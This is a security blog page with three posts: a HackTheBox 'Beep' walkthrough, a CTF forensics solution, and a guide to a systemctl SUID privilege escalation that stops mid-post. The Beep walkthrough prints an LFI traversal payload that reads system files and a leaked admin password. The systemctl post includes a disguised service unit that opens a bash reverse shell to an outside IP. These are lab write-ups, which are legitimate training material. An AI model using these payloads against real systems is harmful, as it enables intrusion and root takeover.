HackTheBox - Retired - Beep



Recon

Recently I've been using Threader3000 for my recon scan, it's a threaded scanner written in python that does a quick up/down scan on all TCP than pipes that open ports into a nmap scan for you, and even saves all the output as xml for you.



That is a lot of open ports.


Here is the namp scan that it recommends we run


I like to convert the xml output of the nmap scan to HTML to make it easier for me to read.


xsltproc ./beep.htb/beep.htb.xml -o ./beep.html




Wow that is a lot of ports, There are 16 ports that respond here.


Nmap found some service names and version for us and we can see that some services use multiple ports


Looks like


Port 22 OpenSSH 4.3

Port 25 postfix SMTP

Port 80 Apache 2.2.3

Port 110,143,993,995,4190 Cyrus Mail

Port 111 RPC

Port 3306 MySql

Port 4559 HylaFax

Port 5038 Asterisk Call Manager

Port 10000 MiniServ






Let's check out the webserver on port 80



It auto redirects us to an ssl site


Elastix


What is that?


This explains all the phone (Asterisk), mail ( cyrus) fax ( hylafax) and probably the sql also


Ok what about that minserv on port 10000


When we browse to it, it tells to do ssl


Another login page



We need some creds..


I got yelled out for trying some manual weak password


Let's brute force the web servers and see if we can find some more info




I tried dirb, gobuster, dirbuster and didn't find any path. 

So I just started to google for exploits on any of the software.


I found this exploit for lfi


https://www.exploit-db.com/exploits/37637




Exploit


Looking at the exploit, it looks like it might be vulnerable to a LFI (Local File Inclusion). This mean we can get the server to get us files on the local file system. In the exploit it shows this as the vulnerable path




/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action



So I just tagged that onto the url and got his back




There is something here labeled ARI_ADMIN_PASSWORD


jEhdIekWmdjE






So naturally I tried to login as admin with the password.




Cool we got the admin panel


Lets dig around in here and see if we can find anything interesting.



I found something kinda interesting under the security tab. There is a section called weak secrets. Which I would assume is some sort of password audit feature..


And there is only one user name listed with weak secrets.



Fanis Papafanopoulos




Let's check back on that LFI we could to grab /etc/password to see if this Fanis Character is a user on this box.


https://10.10.10.7//vtigercrm/graph.php?current_language=../../../../../../../..//etc/passwd%00&module=Accounts&action



Yup sure is


I immediately tried to login via SSH as fanis


ssh fanis@beep.htb


I got back this error


Unable to negotiate with 10.10.10.7 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1


A quick google search told me I needed to specify the key type by using.


-oKexAlgorithms=+diffie-hellman-group1-sha1



So I added that to my ssh connection.


ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 fanis@beep.htb



I tried the admin password we found for elastix… it didn't work, but it also prompted for a password so we know we can authenticate using a password if we get the right one, and we don't need their key in order to authenticate.



So now that we know a user name guess what we can do with our LFI? Get the user hash…




But we can't get the root hash… yet




I spent some more time looking around the box and made my way back to the webmin login page.


I tried admin and the password we found earlier(again)… nothing.


But then for grins in giggles I tried root as the username



OMG, is that the root password?







Let's try to ssh as root with that password.


ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 root@beep.htb




Wow! password reuse for the win!

RingZero CTF - Forensics - Who am I part 2

RingZero CTF - Forensics -  Who am I part 2 Objective: I'm the proud owner of this website. Can you verify that? Solution: Well it took me a bit to figure this one out. I tried looking at the whois records for ringzer0ctf.com I tired looking at the DNS records for the site. I even looked in the Certificate for the site. Then I thought a little be more about the question. It's not asking how I can verify who own the site. It wants me to verify the owner themselves. Luckily at the bottom the page we see who is listed as on the twittter feeds @ringzer0CTF and @ MrUnik0d3r lets check if we can find the PGP for MrUniK0d3r online. I googled PGP and MrUn1k0d3r The very first result is his PGP  keybase.txt with his PGP at the bottom of the file is the flag FLAG-7A7i0V2438xL95z2X2Z321p30D8T433Z

Abusing systemctl SUID for reverse shell

Today I came across a box that had the SUID set for systemctl connected as the apache user www-data I was able to get a root reverse shell. This is to document how to use this for privilege escalation. I used a bit from this blog https://carvesystems.com/news/contest-exploiting-misconfigured-sudo/ and a bit from here too https://hosakacorp.net/p/systemd-user.html Step1. Create a fake service I named my LegitService.service I placed it in the /tmp directory on the server. [Unit] UNIT=LegitService Description=Black magic happening, avert your eyes [Service] RemainAfterExit=yes Type=simple ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.2.21.243/5555; cat <&5 | while read line; do $line 2>&5 >&5; done" [Install] WantedBy=default.target Then in order to add this to a place we can use systemctl to call from I created a link from /tmp, since I didn't have permission to put the file in the normal systemd folders systemctl link /tmp/LegitService.service The
